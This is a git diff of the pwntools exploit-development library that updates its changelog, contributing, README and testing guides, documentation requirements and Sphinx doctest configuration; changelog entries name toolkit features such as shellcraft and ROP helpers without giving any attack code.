- [#2506][2506] ROP: fix `ROP(ELF(exe)).leave` is `None` in some ELF
- [#2504][2504] doc: add example case for `tuple` (host, port pair) in `gdb.attach`
- [#2546][2546] ssh: Allow passing disabled_algorithms keyword argument from ssh to paramiko
- [#2538][2538] Add `ssh -L` / `ssh.connect_remote()` workaround when `AllowTcpForwarding` is disabled
- [#2574][2574] Allow creating an ELF from in-memory bytes
- [#2575][2575] Detect when Terminator is being used as terminal
- [#2578][2578] Add gnome-terminal, Alacritty, Ttilix for run_in_new_terminal
- [#2590][2590] Add support for finding corefiles under WSL2
- [#2496][2496] Add linux ko file search support
- [#2542][2542] Decode `_IO_*` flags in `FileStructure` member
- [#2592][2592] pwnlib.config: Fix customization of `context.timeout`
- [#2606][2606] Improve error of `process.maps()` after the process exited
- [#2608][2608] Abort on `libcdb file libc.so --unstrip` if eu-unstrip is not installed
- [#2611][2611] Cleanup `pwnlib.lexer` exports and imports
- [#2610][2610] Fix `log.progress` ignoring `context.log_console`
- [#2615][2615] tube/process: Fix redirecting stderr to stdout on Windows
- [#2639][2639] ROP: Remove stdout and argv workaround in ROPgadget invocation
- [#2630][2630] support `preexec_fn` in `debug()`
- [#2641][2641] support preexec_args in process
- [#2646][2646] fix(libcdb-cli): return early if no matched libc found
- [#2629][2629] Add `terminate()` method to process class that sends SIGTERM
- [#2643][2643] Refactor getdents.py, add support for SYS_getdents64
- [#2647][2647] packing: Add `overlap` to overlap structures easily
- [#2669][2669] asm: try native binutils before fallback architectures
- [#2673][2673] Add libc module for libc-related functions
- [#2679][2679] Add type hints to parts of pwnlib.utils
- [#2680][2680] Cleanup Python 2 legacy
- [#2683][2683] libc: add atexit functions for glibc exploits
- [#2687][2687] Add (un)pack shorthands for 40-56 bit numbers `u48()`/`p48()`
- [#2699][2699] Fix `tty` and `raw` arguments in `ssh.process()`
- [#2682][2682] Fix `server.close()` not closing the listen socket
- [#2671][2671] ssh: support raw string input for 'key' argument as documented
- [#2688][2688] Close SSH client connection when authentication failed
- [#2686][2686] Add glibc safe-linking `glibc.reveal_ptr_same_page`
- [#2706][2706] doc: Update `run_in_new_terminal` docstring with new overrides
- [#2704][2704] ssh: Fix distro lookup on Ubuntu 24.04
- [#2655][2655] Add `context.debugger` to select which debugger to use
- [#2689][2689] Refactor zsh completion script and deprecate `-e` in `pwn asm`
- [#2713][2713] Remove python-dateutil dependency
- [#2720][2720] ssh: resolve PermissionError on Windows during SFTP upload
- [#2702][2702] ssh: Don't cache username in ssh checksec output
- [#2722][2722] safeeval: allow LIST_APPEND and SET_ADD opcodes (Python 3.14)
- [#2730][2730] Fix atexception handlers in term mode
- [#2732][2732] ssh: fix `ssh.which` returns None for POSIX paths when running on Windows
- [#2733][2733] loongarch64: fix incorrect mov assembly template
- [#2741][2741] memleak: add opt-in persistent leak cache
- [#2743][2743] fix(adb): add missing import for remote to fix NameError hidden by bare except
- [#2746][2746] elf: point people at libc_start_main_return when they look up __libc_start_main_ret
- [#2734][2734] ROP: Add labels to reference addresses relative to your chain
- [#2735][2735] Add support for debugging with x64dbg on Windows
- [#2767][2767] Support paginated libc.rip API requests to include all search results
- [#2726][2726] feat(libcdb): use local debuginfod client cache before hitting servers
- [#2768][2768] docs: Added the homebrew workaround in documentation needed for macOS users
- [#2769][2769] Use standard library (PEP-784) for Zstandard decompression
- [#2750][2750] Fix DeprecationWarning with remote(ssl=True), checking remote certificates now
- [#2761][2761] fix: don't truncate the last byte of `FileStructure.struntil`
- [#2727][2727] feat(cli): add 'pwn errno --list' + perror-string lookup
- [#2792][2792] Fix deprecation warning for not using `RLIM_INFINITY` in `resource.setrlimit` (Python 3.15)
[2784]: https://github.com/Gallopsled/pwntools/pull/2784
[2675]: https://github.com/Gallopsled/pwntools/pull/2675
[2652]: https://github.com/Gallopsled/pwntools/pull/2652
[2638]: https://github.com/Gallopsled/pwntools/pull/2638
[2627]: https://github.com/Gallopsled/pwntools/pull/2627
[2598]: https://github.com/Gallopsled/pwntools/pull/2598
[2419]: https://github.com/Gallopsled/pwntools/pull/2419
[2551]: https://github.com/Gallopsled/pwntools/pull/2551
[2519]: https://github.com/Gallopsled/pwntools/pull/2519
[2507]: https://github.com/Gallopsled/pwntools/pull/2507
[2522]: https://github.com/Gallopsled/pwntools/pull/2522
[2524]: https://github.com/Gallopsled/pwntools/pull/2524
[2526]: https://github.com/Gallopsled/pwntools/pull/2526
[2517]: https://github.com/Gallopsled/pwntools/pull/2517
[2530]: https://github.com/Gallopsled/pwntools/pull/2530
[2529]: https://github.com/Gallopsled/pwntools/pull/2529
[2506]: https://github.com/Gallopsled/pwntools/pull/2506
[2504]: https://github.com/Gallopsled/pwntools/pull/2504
[2546]: https://github.com/Gallopsled/pwntools/pull/2546
[2538]: https://github.com/Gallopsled/pwntools/pull/2538
[2574]: https://github.com/Gallopsled/pwntools/pull/2574
[2575]: https://github.com/Gallopsled/pwntools/pull/2575
[2578]: https://github.com/Gallopsled/pwntools/pull/2578
[2590]: https://github.com/Gallopsled/pwntools/pull/2590
[2496]: https://github.com/Gallopsled/pwntools/pull/2496
[2542]: https://github.com/Gallopsled/pwntools/pull/2542
[2592]: https://github.com/Gallopsled/pwntools/pull/2592
[2606]: https://github.com/Gallopsled/pwntools/pull/2606
[2608]: https://github.com/Gallopsled/pwntools/pull/2608
[2611]: https://github.com/Gallopsled/pwntools/pull/2611
[2610]: https://github.com/Gallopsled/pwntools/pull/2610
[2615]: https://github.com/Gallopsled/pwntools/pull/2615
[2639]: https://github.com/Gallopsled/pwntools/pull/2639
[2630]: https://github.com/Gallopsled/pwntools/pull/2630
[2641]: https://github.com/Gallopsled/pwntools/pull/2641
[2646]: https://github.com/Gallopsled/pwntools/pull/2646
[2629]: https://github.com/Gallopsled/pwntools/pull/2629
[2643]: https://github.com/Gallopsled/pwntools/pull/2643
[2647]: https://github.com/Gallopsled/pwntools/pull/2647
[2669]: https://github.com/Gallopsled/pwntools/pull/2669
[2673]: https://github.com/Gallopsled/pwntools/pull/2673
[2679]: https://github.com/Gallopsled/pwntools/pull/2679
[2680]: https://github.com/Gallopsled/pwntools/pull/2680
[2683]: https://github.com/Gallopsled/pwntools/pull/2683
[2687]: https://github.com/Gallopsled/pwntools/pull/2687
[2699]: https://github.com/Gallopsled/pwntools/pull/2699
[2682]: https://github.com/Gallopsled/pwntools/pull/2682
[2671]: https://github.com/Gallopsled/pwntools/pull/2671
[2688]: https://github.com/Gallopsled/pwntools/pull/2688
[2686]: https://github.com/Gallopsled/pwntools/pull/2686
[2704]: https://github.com/Gallopsled/pwntools/pull/2704
[2655]: https://github.com/Gallopsled/pwntools/pull/2655
[2677]: https://github.com/Gallopsled/pwntools/pull/2677
[2689]: https://github.com/Gallopsled/pwntools/pull/2689
[2713]: https://github.com/Gallopsled/pwntools/pull/2713
[2720]: https://github.com/Gallopsled/pwntools/pull/2720
[2702]: https://github.com/Gallopsled/pwntools/pull/2702
[2722]: https://github.com/Gallopsled/pwntools/pull/2722
[2725]: https://github.com/Gallopsled/pwntools/pull/2725
[2730]: https://github.com/Gallopsled/pwntools/pull/2730
[2732]: https://github.com/Gallopsled/pwntools/pull/2732
[2733]: https://github.com/Gallopsled/pwntools/pull/2733
[2739]: https://github.com/Gallopsled/pwntools/pull/2739
[2740]: https://github.com/Gallopsled/pwntools/pull/2740
[2741]: https://github.com/Gallopsled/pwntools/pull/2741
[2743]: https://github.com/Gallopsled/pwntools/pull/2743
[2746]: https://github.com/Gallopsled/pwntools/pull/2746
[2734]: https://github.com/Gallopsled/pwntools/pull/2734
[2735]: https://github.com/Gallopsled/pwntools/pull/2735
[2753]: https://github.com/Gallopsled/pwntools/pull/2753
[2762]: https://github.com/Gallopsled/pwntools/pull/2762
[2767]: https://github.com/Gallopsled/pwntools/pull/2767
[2726]: https://github.com/Gallopsled/pwntools/pull/2726
[2768]: https://github.com/Gallopsled/pwntools/pull/2768
[2769]: https://github.com/Gallopsled/pwntools/pull/2769
[2780]: https://github.com/Gallopsled/pwntools/pull/2780
[2789]: https://github.com/Gallopsled/pwntools/pull/2789
[2750]: https://github.com/Gallopsled/pwntools/pull/2750
[2761]: https://github.com/Gallopsled/pwntools/pull/2761
[2727]: https://github.com/Gallopsled/pwntools/pull/2727
[2792]: https://github.com/Gallopsled/pwntools/pull/2792
[2798]: https://github.com/Gallopsled/pwntools/pull/2798
## 4.13.0 (`beta`)
## 4.15.1
- [#2694][2694] fix: pad bytes fields to correct field size in FileStructure
- [#2701][2701] Fix `adb._build_date()` crash on devices with non-standard locale date strings
- [#2721][2721] Allow running with Unicorn 2.1.[34] but throw when emulating MIPS
- [#2773][2773] Disable debuginfod doctests in libcdb.unstrip_libc
- [#2772][2772] fix(packing): `dd()` no longer crashes on a `bytearray` destination
- [#2787][2787] gdb.corefile: Run gdb directly to prevent detach race
[2694]: https://github.com/Gallopsled/pwntools/pull/2694
[2701]: https://github.com/Gallopsled/pwntools/pull/2701
[2721]: https://github.com/Gallopsled/pwntools/pull/2721
[2773]: https://github.com/Gallopsled/pwntools/pull/2773
[2772]: https://github.com/Gallopsled/pwntools/pull/2772
[2787]: https://github.com/Gallopsled/pwntools/pull/2787
## 4.15.0 (`stable`)
- [#2508][2508] Ignore a warning when compiling with asm on nix
- [#2471][2471] Properly close spawned kitty window
- [#2358][2358] Cache output of `asm()`
- [#2457][2457] Catch exception of non-ELF files in checksec.
- [#2444][2444] Add `ELF.close()` to release resources
- [#2413][2413] libcdb: improve the search speed of `search_by_symbol_offsets` in local libc-database
- [#2470][2470] Fix waiting for gdb under WSL2
- [#2479][2479] Support extracting libraries from Docker image in `pwn template`
- [#2483][2483] Only print `checksec` output of `ELF.libc` when it was printed for the `ELF` already
- [#2482][2482] Throw error when using `sni` and setting `server_hostname` manually in `remote`
- [#2478][2478] libcdb-cli: add `--offline-only`, refactor unstrip and add fetch parser for download libc-database
- [#2484][2484] Allow to disable caching
- [#2291][2291] Fix attaching to a gdbserver with tuple `gdb.attach(('0.0.0.0',12345))`
- [#2410][2410] Add `tube.upload_manually` to upload files in chunks
- [#2502][2502] Fix loading ELF files without valid .dynamic section
- [#2476][2476] Deprecate 'keepends' argument in favor of 'drop' in `tube.recvline*`
- [#2364][2364] Deprecate direct commandline scripts invocation and exclude nonsense ones
- [#2570][2570] Fix `pwn template` to skip Docker library extraction for statically linked binaries
- [#2545][2545] SSH: fix download/upload with -1 exit status
- [#2567][2567] Fix mistakenly parsing of ld-linux error messages.
- [#2576][2576] regsort: respect register aliases
- [#2595][2595] libcdb: Add Ubuntu and Debian debuginfod servers to default list
- [#2593][2593] Use unicorn on macOS w/ SIP enabled
- [#2587][2587] Support longer function names in Windows `getexport` shellcode
- [#2596][2596] Ignore `colored_traceback` error when TERM envvar is unset
- [#2579][2579] Fix poll error in `process.libs()` and clean up maps parsing
- [#2602][2602] Allow setting debugger path via context.gdb_binary
- [#2609][2609] Fix log level of child remotes of `server` tube
- [#2612][2612] Fix lookup of binutils for `mipsel` architecture
- [#2624][2624] Fix regression: gdbserver can't handle command-line argument containing whitespace
[2508]: https://github.com/Gallopsled/pwntools/pull/2508
[2471]: https://github.com/Gallopsled/pwntools/pull/2471
[2358]: https://github.com/Gallopsled/pwntools/pull/2358
[2457]: https://github.com/Gallopsled/pwntools/pull/2457
[2444]: https://github.com/Gallopsled/pwntools/pull/2444
[2413]: https://github.com/Gallopsled/pwntools/pull/2413
[2470]: https://github.com/Gallopsled/pwntools/pull/2470
[2479]: https://github.com/Gallopsled/pwntools/pull/2479
[2483]: https://github.com/Gallopsled/pwntools/pull/2483
[2482]: https://github.com/Gallopsled/pwntools/pull/2482
[2478]: https://github.com/Gallopsled/pwntools/pull/2478
[2484]: https://github.com/Gallopsled/pwntools/pull/2484
[2291]: https://github.com/Gallopsled/pwntools/pull/2291
[2410]: https://github.com/Gallopsled/pwntools/pull/2410
[2502]: https://github.com/Gallopsled/pwntools/pull/2502
[2476]: https://github.com/Gallopsled/pwntools/pull/2476
[2364]: https://github.com/Gallopsled/pwntools/pull/2364
[2570]: https://github.com/Gallopsled/pwntools/pull/2570
[2545]: https://github.com/Gallopsled/pwntools/pull/2545
[2567]: https://github.com/Gallopsled/pwntools/pull/2567
[2576]: https://github.com/Gallopsled/pwntools/pull/2576
[2595]: https://github.com/Gallopsled/pwntools/pull/2595
[2593]: https://github.com/Gallopsled/pwntools/pull/2593
[2587]: https://github.com/Gallopsled/pwntools/pull/2587
[2596]: https://github.com/Gallopsled/pwntools/pull/2596
[2579]: https://github.com/Gallopsled/pwntools/pull/2579
[2602]: https://github.com/Gallopsled/pwntools/pull/2602
[2609]: https://github.com/Gallopsled/pwntools/pull/2609
[2612]: https://github.com/Gallopsled/pwntools/pull/2612
[2624]: https://github.com/Gallopsled/pwntools/pull/2624
## 4.14.1
- [#2451][2451] Show symbols defined to value 0 (start of file)
- [#2533][2533] Fix installation on Python 3.5 and lower
- [#2518][2518] fix: update apport coredump path handling for CorefileFinder
- [#2552][2552] Fix memcpy shellcraft template off-by-one
- [#2559][2559] Fix parsing corefile with missing auxv
- [#2562][2562] Fix syntax highlighting of multiline comments in ASM
- [#2565][2565] Exclude broken Unicorn
[2451]: https://github.com/Gallopsled/pwntools/pull/2451
[2533]: https://github.com/Gallopsled/pwntools/pull/2533
[2518]: https://github.com/Gallopsled/pwntools/pull/2518
[2552]: https://github.com/Gallopsled/pwntools/pull/2552
[2559]: https://github.com/Gallopsled/pwntools/pull/2559
[2562]: https://github.com/Gallopsled/pwntools/pull/2562
[2565]: https://github.com/Gallopsled/pwntools/pull/2565
## 4.14.0
- [#2356][2356] Add local libc database provider for libcdb
- [#2360][2360] Add offline parameter for `search_by_hash` series function
- [#2388][2388] libcdb: add `offline_only` to `search_by_symbol_offsets`
- [#2374][2374] libcdb.unstrip_libc: debug symbols are fetched only if not present
- [#2327][2327] Add basic support to debug processes on Windows
- [#2437][2437] Support asm/disasm on Windows
- [#2330][2330] Change `context.newline` when setting `context.os` to `"windows"`
- [#2322][2322] Add basic RISCV64 shellcraft support
- [#2376][2376] Return buffered data on first EOF in tube.readline()
- [#2371][2371] Add functions for retrieving process mappings
- [#2398][2398] Add support for generating multiple shellcodes at a time in shellcraft
- [#2389][2389] Fix passing bytes to `context.log_file` and `crc.BitPolynom`
- [#2391][2391] Fix error message when passing invalid kwargs to `xor`
- [#2387][2387] Convert apport_corefile() output from bytes-like object to string
- [#2415][2415] Add shellcraft template for IPv6 socket
- [#2405][2405] Add "none" ssh authentication method
- [#2427][2427] Document behaviour of remote()'s sni argument as string.
- [#2382][2382] added optional port, gdb_args and gdbserver_args parameters to gdb.debug()
- [#2435][2435] Speed up gdbserver handshake in gdb.debug()
- [#2436][2436] Add resolution_addr parameter to Ret2dlresolvePayload
- [#2497][2497] Fix remote.fromsocket() to handle AF_INET6 socket
[2436]: https://github.com/Gallopsled/pwntools/pull/2436
[2371]: https://github.com/Gallopsled/pwntools/pull/2371
[2360]: https://github.com/Gallopsled/pwntools/pull/2360
[2356]: https://github.com/Gallopsled/pwntools/pull/2356
[2374]: https://github.com/Gallopsled/pwntools/pull/2374
[2327]: https://github.com/Gallopsled/pwntools/pull/2327
[2322]: https://github.com/Gallopsled/pwntools/pull/2322
[2330]: https://github.com/Gallopsled/pwntools/pull/2330
[2389]: https://github.com/Gallopsled/pwntools/pull/2389
[2391]: https://github.com/Gallopsled/pwntools/pull/2391
[2376]: https://github.com/Gallopsled/pwntools/pull/2376
[2387]: https://github.com/Gallopsled/pwntools/pull/2387
[2388]: https://github.com/Gallopsled/pwntools/pull/2388
[2398]: https://github.com/Gallopsled/pwntools/pull/2398
[2415]: https://github.com/Gallopsled/pwntools/pull/2415
[2405]: https://github.com/Gallopsled/pwntools/pull/2405
[2427]: https://github.com/Gallopsled/pwntools/pull/2405
[2382]: https://github.com/Gallopsled/pwntools/pull/2382
[2435]: https://github.com/Gallopsled/pwntools/pull/2435
[2437]: https://github.com/Gallopsled/pwntools/pull/2437
[2497]: https://github.com/Gallopsled/pwntools/pull/2497
## 4.13.1
- [#2445][2445] Fix parsing the PLT on Windows
- [#2466][2466] Fix PLT emulation with Unicorn 2.1.0
- [#2466][2466] Switch to PyPi Simple API for update checks
- [#2467][2467] Fix loading at all on Windows
- [#2469][2469] GDB 15+ rpyc detection
[2445]: https://github.com/Gallopsled/pwntools/pull/2445
[2466]: https://github.com/Gallopsled/pwntools/pull/2466
[2467]: https://github.com/Gallopsled/pwntools/pull/2467
[2469]: https://github.com/Gallopsled/pwntools/pull/2469
## 4.13.0
- [#2242][2242] Term module revamp: activating special handling of terminal only when necessary
- [#2277][2277] elf: Resolve more relocations into GOT entries
@@ -85,7 +411,7 @@ The table below shows which release corresponds to each branch, and what date th
- [#2308][2308] Fix WinExec shellcraft to make sure it's 16 byte aligned
- [#2279][2279] Make `pwn template` always set context.binary
- [#2310][2310] Add support to start a process on Windows
- [#2335][2335] Add lookup optimizations in DynELF
- [#2335][2335] Add lookup optimizations in DynELF
- [#2334][2334] Speed up disasm commandline tool with colored output
- [#2328][2328] Lookup using $PATHEXT file extensions in `which` on Windows
- [#2189][2189] Explicitly define p64/u64 functions for IDE support
@@ -103,6 +429,8 @@ The table below shows which release corresponds to each branch, and what date th
- [#2268][2268] Add a `flatten` argument to `ssh.libs`
- [#2347][2347] Fix/workaround Unicorn Engine 1GB limit that calls exit()
- [#2233][2233] Fix gdb.debug: exe parameter now respected, allow empty argv
- [#2373][2373] Fix displaying bright color variation in terminal output
- [#2378][2378] Don't go though a shell in `gdb.debug`
[2242]: https://github.com/Gallopsled/pwntools/pull/2242
[2277]: https://github.com/Gallopsled/pwntools/pull/2277
@@ -129,8 +457,10 @@ The table below shows which release corresponds to each branch, and what date th
[2268]: https://github.com/Gallopsled/pwntools/pull/2268
[2347]: https://github.com/Gallopsled/pwntools/pull/2347
[2233]: https://github.com/Gallopsled/pwntools/pull/2233
[2373]: https://github.com/Gallopsled/pwntools/pull/2373
[2378]: https://github.com/Gallopsled/pwntools/pull/2378
## 4.12.0 (`stable`)
## 4.12.0
- [#2202][2202] Fix `remote` and `listen` in sagemath
- [#2117][2117] Add -p (--prefix) and -s (--separator) arguments to `hex` command
@@ -168,7 +498,7 @@ The table below shows which release corresponds to each branch, and what date th
## 4.11.0
- [#2185][2185] make fmtstr module able to create payload without $ notation
- [#2185][2185] make fmtstr module able to create payload without $ notation
- [#2103][2103] Add search for libc binary by leaked function addresses `libcdb.search_by_symbol_offsets()`
- [#2177][2177] Support for RISC-V 64-bit architecture
- [#2186][2186] Enhance `ELF.nx` and `ELF.execstack`
@@ -443,7 +773,7 @@ In memoriam — [Zach Riggle][zach] — long time contributor and maintainer of
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.7 (`stable`)
## 4.1.7
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
+34 -9
View File
@@ -2,32 +2,57 @@
Github has a great guide for contributing to open source projects:
- [Contributing to a project](https://guides.github.com/activities/forking/)
- [Fork the repository](https://guides.github.com/activities/forking/#fork)
- [Clone your fork](https://guides.github.com/activities/forking/#clone)
- [Making and pushing changes](https://guides.github.com/activities/forking/#making-changes)
- [Making a Pull Request](https://guides.github.com/activities/forking/#making-a-pull-request)
- [Huzzah!](https://guides.github.com/activities/forking/#huzzah)
- [Contributing to a project](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project)
- [Fork the repository](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-your-own-copy-of-a-project)
- [Clone your fork](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#cloning-a-fork-to-your-computer)
- [Creating a branch to work on](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#creating-a-branch-to-work-on)
- [Making and pushing changes](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-and-pushing-changes)
- [Making a Pull Request](https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project#making-a-pull-request)
## pwntools Specifics
In general, we like to keep things documented. You should add documentation to any new functionality, and update it for any changed functionality. Our docstrings use the [Google Style Python Docstrings](https://sphinxcontrib-napoleon.readthedocs.org/en/latest/example_google.html#example-google).
After you have documentation, you should add a [doctest](https://docs.python.org/2/library/doctest.html).
After you have documentation, you should add a [doctest](https://docs.python.org/3/library/doctest.html).
Finally, it is probably a good idea to run the test suite locally before doing
the pull-request to make sure everything works, however this is not a
requirement.
requirement. See the [TESTING](TESTING.md) documentation on how to do that.
Once you are ready to do a pull-request, you should figure out if your changes
constitutes a new feature or a bugfix in stable or beta. If it is a bugfix in
stable or beta, you should do the pull-request against the branch in question,
and otherwise your pull-request should be against the dev branch.
Once you do the pull-request Travis CI will run the test-suite on it. Once it
Once you do the pull-request Github Actions will run the test-suite on it. Once it
passes one of the core developers will look at your pull request, possibly
comment on it and then hopefully merge it into the branch in question.
## Python Type Hints
Since Pwntools 5 dropped support for Python 2, type hints are added gradually to the existing code base.
[Type hints in Python](https://typing.python.org/en/latest/spec/index.html) allow static analysis tools and IDEs to help catch errors and provide a better developer
experience without running the code.
New code should include type hints where applicable and shouldn't add new type warnings.
You can use [this cheat sheet](https://mypy.readthedocs.io/en/stable/cheat_sheet_py3.html) as a reference for the type hint syntax.
Pwntools uses [mypy](https://mypy.readthedocs.io/en/stable/index.html) as a static type checker. Instead of trying to
introduce type hints everywhere at once, Pwntools uses [mypy-baseline](https://mypy-baseline.orsinium.dev/usage) to gradually reduce the number of problems over time.
To run the type checker locally, you can install Pwntools with the `dev` extra and check for new errors (`--group dev` requires pip 25.1+):
```shell
$ pip install -U . --group dev
$ mypy | mypy-baseline filter
```
If you fixed some problems, you can update the list of known errors in `mypy-baseline.txt` using
```shell
$ mypy | mypy-baseline sync --sort-baseline
```
## Automated Testing
Pull requests against Pwntools require at a minimum that no tests have been broken, and ideally each pull request will include new tests to ensure that all of the functionality works as intended.
+4 -4
View File
@@ -32,13 +32,13 @@ To get you started, we've provided some example solutions for past CTF challenge
# Installation
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
Python3 is suggested, but Pwntools still works with Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
Pwntools supports Python 3.10+ since version 5.0.0. Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
```sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
sudo apt-get update
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
```
+9 -2
View File
@@ -4,18 +4,25 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
## Test Suite
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
```sh
bash travis/install.sh
bash travis/ssh_setup.sh
pip install --upgrade --editable .
pip install --upgrade -r docs/requirements.txt
PWNLIB_NOTERM=1 make -C docs doctest
```
You can run doctests for a single file for faster iteration:
```sh
PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
```
## Testing in Docker
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble. It is very similar to the online Github Actions CI testing environment.
See `travis/docker/README.md` for more information.
+3 -6
View File
@@ -1,14 +1,12 @@
capstone
coverage[toml]
python-dateutil
doc2dash
docutils<0.18
docutils>=0.18
intervaltree
isort
mako>=1.0.0
paramiko>=1.15.2
pip>=6.0.8
pyelftools>=0.2.3
pyelftools>=0.32
pygments>=2.0
pypandoc
pyserial>=2.7
@@ -16,7 +14,6 @@ pysocks
psutil
requests>=2.5.1
ropgadget>=5.3
sphinx==1.8.6; python_version<'3'
sphinx>=4.5.0; python_version>='3'
sphinx>=8.1.3, <9
sphinx_rtd_theme
sphinxcontrib-autoprogram<=0.1.5
+3
View File
@@ -4,6 +4,9 @@
from pwn import *
adb = pwnlib.adb
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
:mod:`pwnlib.adb` --- Android Debug Bridge
=====================================================
+4
View File
@@ -4,6 +4,10 @@
import subprocess
from pwn import *
# TODO: Remove global POSIX flag
import doctest
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
:mod:`pwnlib.asm` --- Assembler functions
=========================================
+4
View File
@@ -1,3 +1,7 @@
.. testsetup:: *
from pwnlib import atexception
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
==============================================================
+6 -1
View File
@@ -5,7 +5,8 @@
.. testcleanup:: *
context.defaults.copy = old
context.defaults.clear()
context.defaults.update(old)
Command Line Tools
========================
@@ -18,3 +19,7 @@ If these tools do not appear to be installed, make sure that you have added ``~/
.. autoprogram:: pwnlib.commandline.main:parser
:prog: pwn
.. only:: doctest
.. automodule:: pwnlib.commandline.errno
+110 -58
View File
@@ -1,5 +1,3 @@
# -*- coding: utf-8 -*-
#
# pwntools documentation build configuration file, created by
# sphinx-quickstart on Wed May 28 15:00:52 2014.
#
@@ -14,9 +12,9 @@
import os
import doctest
import signal
import six
import subprocess
import sys
from datetime import datetime, timezone
build_dash = tags.has('dash')
@@ -71,7 +69,6 @@ doctest_global_setup = '''
import sys, os
os.environ['PWNLIB_NOTERM'] = '1'
os.environ['PWNLIB_RANDOMIZE'] = '0'
import six
import pwnlib.update
import pwnlib.util.fiddling
import logging
@@ -88,7 +85,7 @@ pwnlib.log.rootlogger.setLevel(1)
# Sphinx modifies sys.stdout, and context.log_terminal has
# a reference to the original instance. We need to update
# it for logging to be captured.
class stdout(object):
class stdout:
def __getattr__(self, name):
return getattr(sys.stdout, name)
def __setattr__(self, name, value):
@@ -99,7 +96,6 @@ github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
local_doctest = os.environ.get('USER') == 'pwntools'
skip_android = True
is_python2 = six.PY2
'''
autoclass_content = 'both'
@@ -108,7 +104,7 @@ autodoc_member_order = 'groupwise' # 'alphabetical'
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
doctest_test_doctest_blocks = 'true'
doctest_test_doctest_blocks = 'default'
# The suffix of source filenames.
source_suffix = '.rst'
@@ -121,7 +117,7 @@ master_doc = 'index'
# General information about the project.
project = u'pwntools'
copyright = u'2016, Gallopsled et al.'
copyright = u'2016-2026, Gallopsled et al.'
# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
@@ -263,11 +259,11 @@ latex_elements = {
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
('index', 'pwntools.tex', u'pwntools Documentation',
u'2016, Gallopsled et al.', 'manual'),
u'2016-2026, Gallopsled et al.', 'manual'),
]
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
# The name of an image file (relative to this directory) to place at the top of
# the title page.
@@ -296,7 +292,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
# (source start file, name, description, authors, manual section).
man_pages = [
('index', 'pwntools', u'pwntools Documentation',
[u'2016, Gallopsled et al.'], 1)
[u'2016-2026, Gallopsled et al.'], 1)
]
# If true, show URL addresses after external links.
@@ -360,7 +356,10 @@ def linkcode_resolve(domain, info):
else:
filename = info['module'].replace('.', '/') + '.py'
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
if isinstance(val, property):
val = val.fget
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
try:
lines, first = inspect.getsourcelines(val)
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
@@ -385,7 +384,6 @@ if build_dash:
# -- Customization to Sphinx autodoc generation --------------------------------------------
import sphinx.ext.autodoc
# Test hidden members (e.g. def _foo(...))
def dont_skip_any_doctests(app, what, name, obj, skip, options):
@@ -393,56 +391,110 @@ def dont_skip_any_doctests(app, what, name, obj, skip, options):
autodoc_default_options = {'special-members': None, 'private-members': None}
class _DummyClass(object): pass
# doctest optionflags for platform-specific tests
# they are skipped on other platforms
WINDOWS = doctest.register_optionflag('WINDOWS')
LINUX = doctest.register_optionflag('LINUX')
POSIX = doctest.register_optionflag('POSIX')
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
def check_output(self, want, got, optionflags):
sup = super(Py2OutputChecker, self).check_output
if sup(want, got, optionflags):
return True
try:
rly_want = pwnlib.util.safeeval.const(want)
if sup(repr(rly_want), got, optionflags):
return True
rly_got = pwnlib.util.safeeval.const(got)
if rly_want == rly_got:
return True
except ValueError:
pass
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
if sup(rly_want, got, optionflags):
return True
